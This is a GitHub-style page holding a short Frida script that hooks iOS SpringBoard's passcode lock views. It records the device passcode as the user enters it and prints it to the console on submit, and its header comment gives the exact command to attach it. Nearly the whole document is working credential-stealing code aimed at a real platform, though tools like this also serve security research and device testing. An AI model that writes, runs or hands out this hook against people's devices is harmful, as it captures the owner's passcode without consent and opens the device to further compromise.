-
Notifications
You must be signed in to change notification settings - Fork 5
/
ios_springboard_passcode.js
36 lines (34 loc) · 1.21 KB
/
ios_springboard_passcode.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
*
* Frida hook to capture iOS device's passcode when user submit it.
* You need to attach to SpringBoard to do so:
* frida -U -n SpringBoard -l ios_springboard_passcode.js
*
* @Author: Quentin Kaiser <[email protected]>
*
*/
var device_passcode = "";
var keypad_passcode = ObjC.classes.SBUIPasscodeLockViewWithKeypad["- passcode"];
Interceptor.attach(keypad_passcode.implementation, {
onLeave: function(retval) {
var cur_passcode = new ObjC.Object(retval).toString();
if(cur_passcode.length > 0){
device_passcode = cur_passcode;
} else {
// user pressed submit, time to print out the passcode
console.log("[!] Device passcode is " + device_passcode);
}
}
});
var keyboard_passcode = ObjC.classes.SBUIPasscodeLockViewWithKeyboard["- passcode"];
Interceptor.attach(keyboard_passcode.implementation, {
onLeave: function(retval) {
var cur_passcode = new ObjC.Object(retval).toString();
if(cur_passcode.length > 0){
device_passcode = cur_passcode;
} else {
// user pressed submit, time to print out the passcode
console.log("[!] Device passcode is " + device_passcode);
}
}
});